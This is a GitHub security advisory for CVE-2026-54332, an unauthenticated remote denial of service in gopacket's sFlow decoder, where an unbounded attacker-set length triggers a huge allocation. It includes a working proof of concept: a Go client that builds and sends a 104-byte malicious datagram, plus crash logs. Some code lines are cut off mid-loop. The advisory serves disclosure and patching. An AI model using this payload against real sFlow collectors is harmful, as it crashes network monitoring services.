GitHub Advisoryadvisory · Go
GHSA-g6v3-7xmc-w563 GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS
MEDIUM
Official page ↗
- Aliases
- CVE-2026-54332
- Ecosystem
- Go
- Packages
- github.com/gopacket/gopacket
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-770
- Reviewed
- 2026-07-28
Affected packages
• Go github.com/gopacket/gopacket: < 1.6.1 → fixed in 1.6.1
Description
Summary
The sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).
Root cause (file:line @ v1.6.0)
Two sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:
1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:
```go
*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
eg.Communities = make([]uint32, communitiesLength) // communitiesLength is a raw wire uint32, no bound
for j := uint32(0); j sink)
The registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:
`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch).
sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.
Impact
Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).
Proof of Concept
This PoC is an end-to-end test against a real deployed sFlow collector. A minimal
but realistic UDP collector (built on the public gopacket API, exactly as a real
network-telemetry collector would be) runs inside a hard-capped 256 MB container;
an independent client process sends a real malicious sFlow datagram over a real
UDP socket; the collector process is then observed to die. A benign datagram is
used as a negative control.
The harness pins `github.com/gopacket/[email protected]` (the sink is confirmed at
the v1.6.0 tag, `layers/sflow.go:1306`).
Collector (real UDP sFlow collector)
```go
// collector.go — binds a UDP socket and, for every datagram, builds a
// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives
// the registered sFlow decoder over the attacker-controlled bytes.
package main
import (
"fmt"
"net"
"os"
"github.com/gopacket/gopacket"
"github.com/gopacket/gopacket/layers"
)
func main() {
udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343")
conn, err := net.ListenUDP("udp4", udpAddr)
if err != nil {
fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
os.Exit(1)
}
defer conn.Close()
fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr())
buf := make([]byte, 65535)
for {
n, src, err := conn.ReadFromUDP(buf)
if err != nil {
continue
}
datagram := make([]byte, n)
copy(datagram, buf[:n])
fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src)
pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)
if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {
fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n",
dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))
} else {
fmt.Printf("[collector] no sFlow layer decoded\n")
}
}
}
```
Client (independent process, real UDP socket, no gopacket dependency)
The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying
one ExtendedGatewayFlow (record type 1003) record and sets only its
`communitiesLength` field. For the benign case it appends real community words
plus the trailing LocalPref word so the record decodes cleanly.
```go
// client.go — usage: client [--benign]
package main
import (
"encoding/binary"
"fmt"
"net"
"os"
"strconv"
)
func u32(b *[]byte, v uint32) {
t := make([]byte, 4)
binary.BigEndian.PutUint32(t, v)
*b = append(*b, t...)
}
func buildDatagram(commLen uint32, benign bool) []byte {
var d []byte
u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)
u32(&d, 1) // SampleCount = 1
u32(&d, 1) // sample format -> FlowSample
u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)
u32(&d, 1) // RecordCount = 1
u32(&d, 1003) // record format -> ExtendedGatewayFlow
u32(&d, 0) // FlowDataLength
u32(&d, 1) // gateway address type = IPv4
u32(&d, 0x08080808) // NextHop
u32(&d, 0); u32(&d, 0); u32(&d, 0)
u32(&d, 0) // ASPathCount = 0
u32(&d, commLen) // communitiesLength -> make([]uint32, commLen) sink
if benign {
for i := uint32(0); i 3 && os.Args[3] == "--benign"
data := buildDatagram(uint32(commLen), benign)
raddr, _ := net.ResolveUDPAddr("udp", addr)
conn, _ := net.DialUDP("udp", nil, raddr)
defer conn.Close()
conn.Write(data)
fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n",
len(data), commLen, benign)
}
```
Run and observed result
The collector runs under a hard 256 MB cgroup cap with swap disabled
(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and
the host is unaffected.
Negative control (benign datagram, `communitiesLength=4`):
```
$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign
[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)
collector log:
[collector] received 124-byte datagram from 172.18.0.3:56438
[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1
collector status: Up (ALIVE); RSS flat at 1.5 MiB
```
Attack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):
```
$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295
[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB
[client] datagram sent over real UDP socket
collector log (verbatim):
[collector] received 104-byte datagram from 172.18.0.3:42284
fatal error: runtime: out of memory
runtime stack:
runtime.throw(...)
runtime.sysMapOS(0x61585e800000, 0x400000000, ...) // 0x400000000 = 16 GiB requested
runtime.makeslice(...)
/usr/local/go/src/runtime/slice.go:117
github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)
/go/pkg/mod/github.com/gopacket/gopacket…
Related
Alias · CVE (1)
- CVE-2026-54332 gopacket provides packet processing capabilities for Go. vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness